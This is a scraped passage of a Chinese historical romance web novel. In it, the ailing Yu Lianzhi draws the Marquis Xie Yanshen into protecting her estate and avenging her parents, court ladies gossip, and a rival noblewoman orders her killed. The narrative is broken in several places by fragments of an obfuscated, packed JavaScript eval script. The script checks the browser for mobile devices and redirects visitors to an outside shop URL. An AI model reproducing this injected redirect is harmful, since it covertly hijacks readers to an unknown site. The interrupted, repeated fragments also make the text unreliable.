玉怜脂左手和抱着她的男人紧握，右手抬起，捻着帕子压在唇上。 她已经咳不出东西了，今日她身体里的血流了又流，只是天寒，肺部还有些燥痒，她连咳喘声都很虚弱，病入膏肓、行将就木。 所有情状，都在提醒现在抱着她的人一件事—— 他害了她。 行宫里的一场算计，最后受伤最重的是一个无辜之人。 玉怜脂感受到握住她手的那只大掌倏地收紧，她轻喘两声，摇摇头，放下了帕子。 男人低下头，正欲开口说什么，却被怀中人抢先一步—— “我的身子……太不争气，”她说着，眼角有泪水盈出，“你不要太自责……一切都是阴差阳错罢了。” 到了这个时候，她要对他说的第一件事，竟是安慰。 “是我害了你。”他闭了闭眼，偏首，下颌压在她的发顶，“是我的错。” 此时他们好像回到了那个耳鬓厮磨的晚上，她不用小心翼翼地叫他世叔，毕恭毕敬地唤他侯爷，他也不再把她视作因缘入府的过客，而是唯一一个与他有情-欲纠葛的女子。 她的生命如风中残烛，也许过了今晚，她将永远沉眠。 所有礼法规矩、人伦纲常，在生死的面前，全都微不足道，连被提及的资格都不配拥有。 “……我想见你，是想求你几件事……但，若是你为难……”玉怜脂的眼半阖，说话的速度很慢。 谢砚深压下声，应她：“我说过，一定会补偿你，无论你想做什么事，我一定尽全力。” 泪水滑下她的侧颊，她的声音带着泣意：“除了你，我已经没有别的人能托付……” 谢滨染疫，高大夫人身体孱弱，不理外事，王老太君根本不可能尽心帮她。 算来算去，有能力，也有心会完成她嘱托的人，竟真的只有他。 “第一件事……若是我真的撑不过去了……” 话音还未落下，她的身体被猛地抱紧，男人的下颌绷紧，脖颈青筋浮现。 玉怜脂侧首靠在他颈窝处，左手手指轻动，和他十指相扣，隐秘地安抚。 而后，她接着说：“……若是我死了，玉氏必定再次被那些觊觎产业的人盯上，吕叔虽然能干，可他毕竟不姓玉，到时候，没了我这个名头，玉家就守不住了……” “你要帮我……帮我把，玉氏产业，都交到吕叔的手上……无论如何，无论，用什么手段，都别让，别让玉氏祖祖辈辈的心血，落到那些小人手里……！” 她流着泪，轻声说：“我来京许久，知道，你不喜以权势强压于人，但这一次，我却要勉强你了，可你，你不要怪我……” 谢砚深闭上双目，薄唇摩挲她的发，没有说话。 玉怜脂吸了吸气，不知想到了什么，眼眶变得通红：“第二件事，你，你一定要替我办成……否则，否则我死，也难瞑目……！” 男人倏地睁开眼。 他知道她要说的第二件事是什么。 “找到，找到害死我爹娘的凶手，替我……报仇！”这句话，她几乎是声嘶力竭。 说完，她脸上泛起不正常的粉色，呼吸都开始困难起来，泪水不受控制地滚下。 谢砚深眼中赤红，立刻将她扶躺下来，偏过身就要唤人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991728|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>但她却死死拉着他的手，不肯放开：“你，你答应我……你答应我……” 他咬着牙。复又反过身，单膝跪在她的床边，一字一句地说： “我以镇北侯的名义发誓，一定尽我所能，为你了却心愿。” “你放心，我绝不食言。” “好，好……”她像是终于放心了，眼中依旧溢满悲伤，气息越来越弱。 谢砚深抬手抚摸着她被打湿的鬓发，将它们挑到一旁，他看着她虚弱枯颓的脸庞，终于，几滴泪落了下来，即使是当年边关恶战，他也从未如此无措。 玉怜脂只是看着他摇头，用尽力气，贴近他的耳边：“你不要难过，不要难过……我不怨你，真的……我从小就知道……以后要，招赘成婚……但我从来，从来没有，与男子亲近过……” “我一直在想……那个人会是什么模样……” 说着，她轻轻笑起来：“其实，其实那个人是你……很好。” 最后的尾音飘散消失，她又陷入了昏迷。 谢砚深抱着她，怔愣了许久。 * 京城，镇北侯府，润安堂。 堂中的气氛几经变换，此刻站立着的所有人全都静默不敢言语，主座上的老妇人喘着气，抄起手边的香炉，再次砸了下去！ “混账！”王老太君勃然大怒。 高大夫人和双胞胎的车队先行回来了，润安堂这边立刻得到玉怜脂和谢砚深双双留在真皇山的消息。 老太君当即横目，但还没等她仔细盘问，谢砚深派回来的贴身侍从先一步入了润安堂，说有要事禀报。 于是，王老太君得知了谢砚深行宫遇险一事。 主谋的人还是她十分不喜的钟芷兰。 玉怜脂的事立刻就被抛到脑后了。 “那现在如何了？！”她朝跪在地上的主院侍从厉声问道。 主院派回来的人低着头，快速回话：“回老太君，陛下已经下旨惩处了钟府和程府的人，只是，陛下时时要在行宫召见侯爷，故而当下还回不来，侯爷让我来禀报一声，请您安心。” 说罢，他又补了一句：“玉姑娘大病一场，这几日都起不来身，问过了大夫，不宜车马劳顿，所以暂时也只能盘桓在族庄了。” 王老太君此刻也无暇去管玉怜脂的事，扶着额，气得心口疼。 “……钟家！”她恨道。 38. 砚郎 族庄大门午时准点打开，远处奔来数匹骏马，打头的千里乌骓速度极快，瞬时飞驰而过，待到后头跟着的另外几人也入了庄内，守门的护卫合力将沉重大门关上。 这些日子无不如此。 主子还宿在行宫里，但白日都会在正午时分从行宫赶来族庄。 庄里的人都知道是为了什么，但无人敢多话，上头吩咐过了，若有多舌者，一律重惩。 庄子里那位病重小娘子住的院落被重重把守，侯爷下令，一切不必要的人全部不许接近。 即使是老太君身边出来的体面侍女也不例外。 ——莲芯咳疾久久不愈，玉怜脂吐血那日，她只趁乱进房里看了一眼就被关嬷嬷发现，二话不说赶走了。 直到今天，也没再进得去玉怜脂的院子，近几日更是不太起得来了，发了低热，一直昏昏沉沉的。 -———— 一路到了院子外，谢砚深刚下马，院门处的福明一脸苦色，小跑上来。 他被命令留下来看着玉怜脂的院子，以防再有异常。 那一夜凶险，但最后还是熬过去了。 乔大夫和玉氏的女医使尽浑身解数，硬生生把玉怜脂从鬼门关拉了回来。 人如今也好多了，前日还有闲心看账本，当然没看多久就被大夫没收了。 “参见侯爷！”福明行完礼，随后站定不动，脸皱成一团，支支吾吾地，“侯爷，今日，玉姑娘，玉姑娘她……” 谢砚深瞥了一眼他的脸色，目光沉了些许：“人呢？” “玉姑娘说，天气好，非要去雪地里赏梅花，乔大夫和段女医正巧去商量调配新药方了，我们拦不住，就……”福明苦哈哈地回答。 “胡闹！”男人沉声斥道，“她现在在哪里？” “往北边的园子去了！” ———— 族庄围山而建，午时日光照耀，举目远望而去，一片耀眼金白，中间缀着星点嫣红。 玉怜脂困在院子里许久，每日不是苦药就是银针，谢砚深白天必定来看她，她喝药时他就坐在旁边处理军务，到傍晚和她一起用完膳，他又骑马回行宫。 他坐在那就是尊惹不起的大佛，但凡她有点什么小九九，还没说话呢，立刻就被毫不留情地掐灭。 其余时间就由段素灵和乔诚看着她，段素灵就不用说了，那个主院的乔大夫得了命令，也是熬鹰似的盯死了她。 看书一日内不能超过半个时辰，走动须得有人跟着，两盏茶内必须回房，绝不可受了寒气。 账本什么的更是提都不能提，前晚上她好不容易磨得关嬷嬷心软，结果就看了一会子，被段素灵当场抓包，骂了个狗血淋头昏天地暗，直到躺上床她整个人还是恍惚的。 …… 这还是人过的日子吗！ 玉怜脂提着裙摆，慢悠悠地在雪地上穿行，身后的几个小婢女亦步亦趋地跟着，生怕她摔倒。 今日可是天赐良机，段素灵和乔大夫去配药，关嬷嬷又被她支去查看莲芯那里有无错处了，至于门口的那个福明…… 她可不怕。 反正待会儿谢砚深到了，也就是气一会儿，没什么大不了的，到时候她都赏完雪景了，挨两句唠叨也不亏。 “姑娘可小心着点！”小婢女看她晃晃悠悠地踩雪，心惊胆战，“姑娘别玩儿了，午时了，侯爷该来了，要是看见您在外边，会动怒的，咱们回去吧！” “你叫什么名字？”少女停下脚步，回身直勾勾望着她。 小婢女一愣，连忙回答：“奴婢叫流盈。” “流，盈。”她重复这两个字，随后又问，“几岁啦？” “十五。” “那你可比我还小呢，”她气闷道，“怎么这样无趣！” “我都闷了好些日子了，都快憋坏了。”少女的声音可怜巴巴的，“好流盈，过会儿再催我好不好？” 流盈抬起头，碰上一双装着水雾的漂亮眼眸，看向自己的眼神委屈极了。 “这，这，”小婢女忍不住结结巴巴，立刻抛弃原则，“那，那姑娘快些……？” “好哦！”玉怜脂欢呼一声，转回身加快脚步，优哉游哉，“诗说，晨起开门雪满山，雪晴云淡日光寒，闲居山中观山雪，果然别有一番意趣。” 她欢快极了，脸颊因为兴奋染上薄粉，只是还没高兴太久，一阵寒风吹过来，她猛地打了个寒颤。 “咳！咳咳……”忍不住咳喘起来。 身后几个小婢女连忙围上来，惊呼阵阵。 “我……咳咳！没事，没事……就是有点冷……”玉怜脂用帕子捂着唇，眼泪都咳出来了。 “现在知道冷了？”一道带着怒气的男声在耳边炸响。 她还没反应过来，身体猛地被一团灼人的暖热包裹起来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991729|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 玉怜脂看着脖颈周围的墨色狐绒，而后仰起头，果不其然对上谢砚深冰冷的眼神。 他不苟言笑的时候已经足够让人畏惧，如今丝毫不掩怒意，更是吓人。 小婢女们立刻低头退到一边，不敢说话。 谢砚深用披风把她牢牢裹住，垂首盯着她。 但是没等到她求饶道歉，反而等来一个灿烂的笑脸。 “你来了！”她一反身挣开他，两只手臂从披风下伸出，一下搂住他的腰。 她靠在他的胸膛上，小声嘟囔：“今日怎么有些晚？” 从那晚重病以后，她和他之间，开始心照不宣地愈发亲密。 不知道从什么时候开始，他习惯性地为她布菜，喂药，她同他撒娇使小性子的时候也越来越多。 或许男女情爱本就无需剖析入微，只需一个眼神，一个动作，迈出一步，之后尽是水散花开。 族庄里，没有谢滨，没有王老太君，一切束缚好像都暂时断裂。 灵与肉，爱与欲，在这样的无拘中飞快生长，来得突兀，却也真正扎下了根。 谢砚深沉默片刻，低头看见她被雪濡湿的裙摆，弯下身，一瞬将她打横抱起。 她像是早就知道他会这么做，十分自然地搂上他的脖颈，不忘趁机策反他：“要是乔大夫他们回来，看见我不在房里，肯定又要说我了，你可千万别说是我自己跑出来的。” 明知道他在因为她生病乱跑生气，她照样敢提无理要求。 谢砚深横她一眼，不说话。 玉怜脂自顾自地接下去：“你就说是你看见梅花好看，想带我出来摘梅花，这样他们要骂肯定就只骂你，乔大夫不敢说什么，段阿姊肯定会说你两句，没什么大不了的。” 她越往后说，笑得越乖巧，仿佛她坑的是别人。 谢砚深甚至不去看她了，快气笑了。 玉怜脂看他面无表情的脸，眨眨眼，猛地一下亲在他侧颊：“你怎么不说话？” 男人的手猛然一紧，此时已经走到梅林亭中。 “你难道不管我了？我前天才惹阿姊生气，今天要是再被发现一回，我肯定要被骂惨了。”她泪汪汪地说， “砚郎，好砚郎，你帮帮我呀。” 在大昀，这样的称谓只用在女子呼唤情人。 谢砚深的脚步倏地顿住，闭了闭眼。 耳窍隐隐发麻。 39. 骗情 他把她轻放到铺了垫子的石凳上，随后蹲下身。 男人身量高出太多，半蹲着也只比她坐下来低一点，他伸臂绕到她肩后，把披风的兜帽给她带上，大手移往前，将她被吹乱的几缕发丝拂回原处。 玉怜脂乖乖坐着不动，由着他为自己整理衣衫和鬓发，只是眼睛一刻也不离开他的脸。 谢砚深的神情还是很冷淡，但动作却轻而慢，像是害怕一个不小心会弄疼她。 他日后成婚，应该会是个温柔体贴的丈夫。她想。 ……只是他作为夫婿再好，终究与她无关。 “今日出来前服过药了么？”谢砚深收回手，微仰着头低声问她。 这些日子，京城侯府那边运了许多东西过来，里头最多的是药材。 极好的药材。 用段素灵的话来说，那些东西，有再多的钱财也买不来，每一件都是可遇不可求，通常绝不外售，都是挖出来立刻被人收入家中私藏，抑或上贡。 但谢砚深送来了好几车，用来给她补身子。 世家望族百年的积蕴，远超她们的想象。 玉怜脂点点头，算作应答，细白的十指从袖下伸出来，握住他垂放在膝上的手。 她身子太差，手常年都是冰凉的，就算坐在炭火边暖上一个时辰的手，只要稍离远点，不出半盏茶立刻恢复原状。 谢砚深则完全不一样，成年男子本就火力旺盛，更何况是体魄强健远胜常人的武将，他的手简直比小手炉还灼热。 “好暖。”她忍不住喏喏轻叹，和他十指相扣。 谢砚深腕部一转，抽出手，而后大掌一握，把她的手包在掌心，同时眉头紧皱。 养了这些天，她还是身体发寒，脸色也青白。 先前寿宴的时候，他已经见过一次她发病的样子。 脆弱到了任何人看见都敢断言一句命不久矣的地步。 她如今年岁方过十七，长此以往，还能有多少时日？ ……看来那些药还是不够。 “我已经派人去各州府寻更好的药了，”他说，“风闻谯地有一游医，擅治疑难之症，医术高绝，找到之后，请入京中给你诊治。” “谯地的游医，还医术高绝?”玉怜脂低着头，撇撇嘴，“莫非是元化重生不成?” 谢砚深面无表情：“若是华佗真再世，此刻应当被关在太医院当院首，倒也不必千里奔波去请，我入宫向陛下求恩典，把他给你弄来就是。” 玉怜脂看着他一脸严肃的样子，噗嗤一下笑出声来，搂着他脖子乐不可支。 她埋在他颈窝里，揶揄道：“唉，真是好生奇怪，镇北侯威名赫赫，乃是正人君子，老成持重，怎么会同我说笑。” “你是哪里来的妖怪，居然敢冒充侯爷来骗我？”她倏地抬起头，双手捧住他的脸，额头抵着他的，憋着笑，佯怒道，“嗯？快说！” “老实交代，不然可有你好看！” 男人面色不变：“怎么，你要找道士收了我？” 少女唇角轻扬，微微压下眼。 寒风之中，他和她交织勾缠的呼吸却是灼热的。 已经忘记是谁先动了一步，稍回过神的时候，唇舌已经黏吻在一处，她也从石凳换成侧坐到了他腿上。 “……我才不要找人收你，”她轻喘着气，在间隙里痴痴地说，“我要自己藏起来……谁都不给……唔……” 她的话断断续续的，颈后被他的手控压着贴近，腰也被锁紧。 他好像没听她说话，半阖着眼，专注与她厮磨这件事。 但好像又听了，因为她越说，他的吻越绵密炽热。 …… 午时末，玉怜脂被抱回了院子里，她窝在男人的怀里，已经困得睡了过去，臂弯里还搂着一枝红梅，搭在身上。 她的脸红扑扑的，唇上嫣肿，眼尾带着消不掉的殷色痕迹。 谢砚深把她放回床榻上，为她脱了绣鞋披风，抽掉钗环松开发髻，把她手里的红梅放到一旁的小桌上，最后给她盖好厚被，才转身出了房门。 段素灵和乔大夫此时已经赶回来了，在门外等着，见他出来，前者眼也不眨，快速潦草地行了个礼，就进了房间看人去了。 屋外还有一脸土色的福明和眼观鼻鼻观心的乔大夫。 谢砚深扫了一眼两人的表情：“什么事？” “侯爷，不是我说，您说您怎么也由着玉姑娘胡来！”福明满面悲怆，立刻开始抱怨，“您再晚点回来，我就要被那位段女医生吞活剥了！” 他在军中摸爬滚打这些年，好歹是从战场上杀回来的汉子，但不知怎么的，每每那个玉氏的女医盯着他，他就脊背发凉。 一股阴森森的刺骨感。 更别提段素灵训起人来连珠炮似的，她不激动，但语速非常快，字字清晰有力，句句往人心窝里戳。 刚刚发现他没看住玉怜脂，上来就一句“听说你是军中将官，敌兵压境时是不是谁想开城门出去溜一圈你都冲在第一个点头哈腰把人送出去找死”。 他还没反应过来，后头一句接一句，从他不谨遵上令是为摇摆不忠说到他拦不住人是为蠢笨无能，教训完他又开始指桑骂槐，骂的是谁就不用说了。 偏偏他们在玉姑娘的事儿上还真没理，他反驳都反驳得有气无力。 真是该死！ 谢砚深无视福明充满怨念的眼神，转头看向满脸写着有话想说的乔大夫：“有话就说。” 乔大夫呼出一口气，然后凑近了，低声说：“侯爷，这……阴虚之人，尤其是女子，肝郁化火，心火妄动，故而有久病或思虑太深之人淫-意更重的说法，此时更应滋阴养肾，不宜泄耗。玉姑娘年纪尚小，难免不知轻重，喜爱与您亲近也是常理，但您得时常制约，不可事事都随姑娘胡来……” 谢砚深斜睨他，并未言语。 乔大夫冷汗直流：“当然……若是适当……也有好处……” “我不会趁人之危，你照看好她就是。”他冷冷抛下这一句，转身往院门处而去。 ———— 玉怜脂醒过来的时候，已经是傍晚了。 夜色染天，点了灯，段素灵正坐在一旁的贵妃榻上，翻着医书。 “阿姊。”她轻声叫她。 段素灵抬起头，连忙走到床边，为床上的人诊脉。 片刻后，松了一口气。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“人的心是会变的，更何况，他再怜惜我，再喜爱我，也不过是男女情爱，可若是涉及到争储，搭上的是整个谢氏。他是对我有情，但他难道和王老太君就没有母子之情，和滨叔就没有手足之情，和嫣儿霖儿就没有叔侄之情吗？” “既然都是情，难道就因为他发了誓，我就能胜过整个侯府？” “我需要他的愧疚，但要是把所有的希望都赌在这份愧疚上，赌它会不会改变，赌它够不够分量，和自取灭亡没有任何区别。”她的手压在凭几上，半敛细眉。 “我说过，我要的是他不得不去做，而不是他心甘情愿去做，两者有何不同，阿姊可明白？” 段素灵闭了闭眼：“是。” 玉怜脂轻轻叹了口气，声音放低：“……阿姊，他对我很好。说心里话，我也不是丝毫不心悦于他。” 谢砚深位高权重，相貌俊美，为人持重恪礼，待她更是如珠如宝，换做是谁，也不可能不动心。 她亦是凡胎俗子，做不到无情无欲，情天孽海，总有几分意动。 “但……也只是如此了。” 轻泠尾音飘忽散入空中，没有再继续说下去。 40. 贵女 冬祭进行到尾声，行宫南苑按往年的规矩办了一场消寒会，寻梅烹雪，饮酒作诗，意在聚宴熬冬。 照例依旧是男女分席，还专为有特旨允准留下的未出阁年轻女郎单独辟了一座殿宇出来，不像昭丰殿大宴那样正式，无需严守礼仪。 少了许多规矩约束，相熟的女郎们也不拘着，各自分聚在好几处，宫人流水一样进出，奉上珍馐茶果后全部退远。 从前这样的宴席都是笑声不绝，但今日的气氛莫名沉闷，殿中众人多是凑紧了低声细语，连眼神也不多转一下。 “庆姗，”东桌小凳上的官家小姐偏过头，忍不住询问身边坐着的银青锦裙女郎， “钟府和镇北侯府也算是有旧交，你是谢侯爷的表妹，知不知道钟府是出了什么事啊？” 锦裙女郎捏着帕子压了压唇，一双柳叶眼有些不安地眨动：“这……这我还真的不知道。” “表哥他向来公事公办，就算知晓什么，也不会多说的……更何况，他不喜欢我多接触这些外头的事。” 她的声音轻柔，说到最后，脸上的表情很无奈。 桌上其他的女郎听她这么说，均是可惜一叹。 京都贵女中出名的人物不少，或才华斐然，或身份贵重，已故帝师的嫡长孙女、镇北侯的前未婚妻钟府大小姐自然也在其中。 钟芷兰的年岁是她们这些未婚闺阁女子中最大的，当年和现任镇北侯的婚约废弃之后，一直到如今都未再定亲，任谁都看得出来，她对镇北侯痴心不改。 原本的上好佳缘，生生错过了，但镇北侯府却没有一丝修好的意愿。 钟芷兰气度华然，琴棋书画无一不通，素日也常济慈施粥，名声极好，许多人都为她阴差阳错丢了佳配可惜，甚至觉得镇北侯未免有些无情。 只不过钟芷兰自己好像从不在意，每当谈及，总是默默无言，一笑而过，反倒更让人心疼，觉得她品性高洁纯淡。 因而愿意与她交游的贵女不在少数。 这也就导致，许多人都发现，自昭丰大宴第二日以后，钟芷兰就不见了。 连带着她的表妹、义远伯府幺女程亦仙，一起消失了。 “我同你们说，我前日偷听到我父亲和兄长谈话，说陛下下旨，罢了义远伯的官，还把钟府的钟俦大人从国子祭酒贬成国子司业了。”靠窗边坐着的圆脸女郎凑近桌子，低下声说道。 “什么？！真的假的……？” “为什么……钟府和程府是犯了什么事？” “……” 圆脸女郎：“是真的，我亲耳听到的，等回了京，消息肯定就彻底放出来了。” 旁边另一个身形略微瘦小的粉裙女子也附和道：“我也听说这事儿了，而且你们绝对、绝对猜不到他们的罪名是什么。” “是什么?” “别卖关子！” “就是，快说快说！” 粉裙贵女神色复杂，神秘兮兮地压低声音，吐出四个字：“教，女，无，方。” 话音落下，桌上众人均是倒吸一口凉气，面面相觑。 教女无方到罢官贬职，那钟芷兰和程亦仙得是犯了多大的事? 难不成她们殿前失仪了? 可程亦仙暂且不论，钟芷兰的礼仪承自太师府，从未听闻她有任何规矩上的错处，反而常常被褒赞为表率。 “莫不是为了那晚钟俦大人犯病呕泄的事?可当时陛下好似并未生气。”圆脸女郎撑着下颌，“而且，这也怪不到钟大小姐的身上啊。” 父亲因病才失仪，和女儿有何关系，总不能说钟芷兰教父无方吧。 桌上又陷入沉默，角落里的赵庆姗手里绞着手帕，垂下眼，抿唇不言。 “说起来……”最开始询问赵庆姗的官家小姐复又开口，眼中有些空茫， “那日游园，钟俦大人发病走了，谢侯爷也离开去更衣，后来……后来好像就再也没回来过了。” 此言一出，众人都瞪大了眼。 “难不成……她们是冒犯了……谢侯爷……”粉裙女郎转着眼，声音越来越低。 两个女子能怎么冒犯男子? 而且镇北侯还是骁勇善战的武将。 一直沉默听着的赵庆姗忍不住开口：“这种事怎么好胡乱猜测？传出去可不好。” 另外的几人却没有害怕的意思，掉过头又来询问她。 赵庆姗是安平伯府的小姐，都知道安平伯夫人和镇北侯太夫人极为亲密，赵庆姗管谢砚深叫一声表哥，同他的关系自然是在座所有人里最近的。 “谢侯爷真的没跟你说些什么吗？” “是啊，你不是说过，他若是无事，常来找你和你哥哥一同游玩，我先前看见过的，侯府老夫人对你和你母亲可亲近了。” “钟府大小姐当年可差点成了你表嫂呢，她和谢侯爷真的已经断了吗？” “……” 年轻女郎们眼中放光，你一言我一语，开闸洪水一样停不下来。 赵庆姗只得摆摆手，十分为难：“表哥他真的没同我说过，他军务繁忙，这些天应该一直在蹈义台里处理政事，他向来是一忙起来什么都顾不上，连门都不大出的，我也很久没见过他了。” “至于钟大小姐，”她抿了抿唇，“或许她还心悦表哥吧，不过表哥对她……” 后头她没再接下去，面上的神色却表明了未尽之意。 ——谢砚深对钟芷兰，没有情意。 “也是，”圆脸女郎点了点头，“否则侯府和钟府早就重缔婚约了。” 角落里的紫裳女郎轻拍了拍桌，用气声说：“侯府因为当年的芥蒂，不会再和钟府修好了，上次侯府寿宴回来，我娘说，侯府老太君明显看中了另外一家的女儿。” 说着，她抬起手，悄悄指向宫殿南侧。 那里是另外一群贵女，正在赏景作画。 此刻站在中间动笔的女郎相貌只称得上清秀，可一举一动之间竟有温和淡然的君子之风，面上带着轻笑，如春风和煦怡人，气质不俗。 “那是谁呀?” “工部主事家的小姐，作得一手好画，字也是出了名的，都赞她什么，笔下有清骨。”紫裳女郎补充说。 粉裙女郎：“我知道她，是姓梅吧，梅……梅什么来着?” “梅雁伊。”一道有些平哑的女声响起，回答了问题。 众人转回头，随后齐齐笑起来。 “果然还是你知道，庆姗，你可得和梅府小姐多亲近些， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991731|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说不准，那就是你真表嫂了，以后来往的日子还多的很呢。” 赵庆姗微微一笑，染了蔻丹的甲尖掐进掌心。 ———— 凤鸣台。 婢女小步入了殿里，走到朱裙金钗女郎的身后，俯下身凑近低语几句。 朱裙女子眼中一闪，放下手中酒樽，站起身，向上座明黄色身影行礼： “皇后娘娘，臣女身子不适，想先行告退。” 殿中妃嫔都朝她的方向移眼。 任皇后也向她看过去，皱起眉：“怎么了？可要找太医瞧瞧?” “不必了，”任智妤清声回答，“只是有些冷，回去用些药便好。” 说罢，她抬起眼，和上座的皇后对视。 后者立即神会，颔首：“那你便去吧，天冷，多添两件衣裳。” “是，多谢娘娘关怀。” …… 出了凤鸣台，一路走到无人宫殿，推门进去，一身黑衣打扮的精瘦汉子已经等候多时。 “说吧，查到了什么?”任智妤在主椅坐下，凤目凛凛， “柳启彦为什么要追杀那个玉氏女子?” 玉氏女入京查案，想要复仇，她先前捉住那两个玉氏派来的小贼时就已经知道了。 没什么好稀奇的。 真正让她疑虑的是另外一件事——她查到，当年为他们办事的金陵知府柳启彦，竟然三年来一直在追杀玉怜脂，还是瞒着国公府在行事。 这就明显有鬼了。 “正如大小姐所料，柳启彦追杀玉氏女，是因为，当年的事没扫尾干净，落了把柄。”黑衣男子回话。 他咽了咽口水，继续说：“那把柄……还不小。” 任智妤冷声斥道：“说！” “这……说是当年丹阳山庄截道，玉氏女的父母被杀的时候，硬是死拉着插在身上的两把刀不放，带着刀一同坠入河里，尸身柳启彦的人没捞到，似乎被玉氏的人捞走了。” “……刀?”任智妤眯起眼，“什么刀?” “是两把，两把江南兵营里有铸刀印记的军刀！”黑衣男子狠狠把头磕在地上。 话音一落，座上之人瞬间脸色大变。 大昀朝法典，民间不准私藏兵器甲胄，那两把插在玉氏夫妇尸体上、有兵营工匠印记的军刀，足以证明当年的丹阳案是官匪勾结所犯。 但更要命的是，这份铁证一个说不好，或许会牵扯出他们劫夺巨额财物的目的。 如果那件事暴露出来，那么—— “碰！！” 她猛地站起身，一把扫掉了桌上的茶具，碎瓷飞溅，砸在跪地的黑衣男人身上。 “大，大小姐……” “无能！”任智妤怒喝一声，眼中迸发厉光， “玉氏女现在何处?！” 黑衣男子连忙回道：“宫门处有皇后娘娘的人，说是前几日就出了行宫，一路跟过去，到了镇北侯府的族地里！” “立刻去准备，”她的声音如幽渊鬼魅，垂在身侧的手紧握成拳，不自觉地颤抖，“你们已经失手了一次，这回……” “大小姐放心！属下明白！” “杀了她！决不能让她活着回京——”下了最后通牒。 41. 斩马 关嬷嬷捧着汤药进门，房中的少女坐在小榻上，身前的红木小几上放着一支白瓷细瓶，桌面散落许多冬日花枝，她挑挑拣拣，手中握着把小金剪，悠闲插着花。 “姑娘，该用药了。”老妇人走到小榻前，放下托盘。 玉怜脂放下手中的铰刀，偏头看向窗外，轻声：“未时了。” “是啊，车队已经快准备好了，再过半个时辰，等侯爷那边的人过来，咱们就能启程了。”关嬷嬷答话， “主院的人说了，侯爷特地从大营里调过来十五个人，跟着队伍护送姑娘回京。” “只可惜侯爷不能一同走，若侯爷在，姑娘的安危也不必担心了，要是能留下来等一等……” 原本按日程，谢砚深今天是要和她们一起回京的，但是早晨行宫那边传过来消息，说是皇帝不知为何突然来了兴致，要与群臣夜宴，又留了一批重臣下来。 谢砚深便暂时回不去了。 少女仰头，将碗中苦药一饮而尽，皱着眉：“今日回程是前头早就定下来的，润安堂那边盯着呢，来信问了两回了，他是为着公事不得不留下，我有何理由跟着一起？我已经多留了半月有余，如今若是再赖着不走，非得等他一块，那位太夫人可就不止是起点儿疑心了。” 她已经在族庄这边盘桓太久，虽说谢砚深把这边的消息全部封死了，不让侯府知道分毫，但王老太君也不是那么好糊弄的。 前几日还遣专人来看过她，见她已经恢复意识，能行走了，立刻便定下日子，催她回京。 关嬷嬷忍不住有些抱怨：“也不知道老太君为何这般针对您。” 玉怜脂抬头看她一眼，而后轻笑一声： “……她老人家也确实没防错人哪。” 其实有些时候，她还挺佩服这位太夫人的。 甚至不禁想，谢砚深那份惊人的直觉，会不会是随了亲娘了。 她自问在侯府里已经做到了万分恭敬，甚至可以说是做小伏低，但王老太君从见到她的第一面，就不太喜欢她。 要说王老太君防着她，是因为觉得她像狐媚，也说不大过去，王老太君当初要塞给谢砚深的莲芯言行举止不比她狐媚多了？ 更何况她是说定了要招赘的，高大夫人和谢滨那边早就托人四处打听，这是全府上下都知道的事。 平日里，她和谢砚深从没有明面上的单独往来，院子离得远不说，连话都没说过几句。 然而王老太君还是时时警惕她，像是觉得她品性不似表面纯善。 “姑娘……！”关嬷嬷满脸无奈，而后叹了口气，又说， “也罢，横竖侯爷额外派过来的人也够了，听福总管说，那些个汉子都是军中精锐，以一当十都不在话下。” 玉怜脂饮下半杯清水，去了喉中苦味，沉默了片刻，忽地轻声道： “……嬷嬷，你说，他是不是已经查到了什么。” 老妇人一愣：“姑娘……？” “车队护卫已经是够多了，还带着镇北侯府的徽记，真皇山回京路上又没有草寇，特地从兵营里调人过来……是不是太郑重了些。”她垂着眼。 谢砚深此举，似乎是觉得会有人趁回京路上，谋害于她。 但她托付他才没多久，他难道短短十数日，就查到主谋了？ 关嬷嬷：“侯爷虽然权柄在握，但动作也不至于这么快吧？而且姑娘入京的时候，侯府就已经知道了有仇家追杀您，侯爷自然不放心。” 玉怜脂看她一眼，呼出一口气，点了点头：“或许是我多心了吧。” ———— 未时过半的时候，族庄外的车队已经准备完毕。 玉怜脂也见到了谢砚深派过来的人。 他们驾马停在大门的那一刻，众人皆是瞪大了眼。 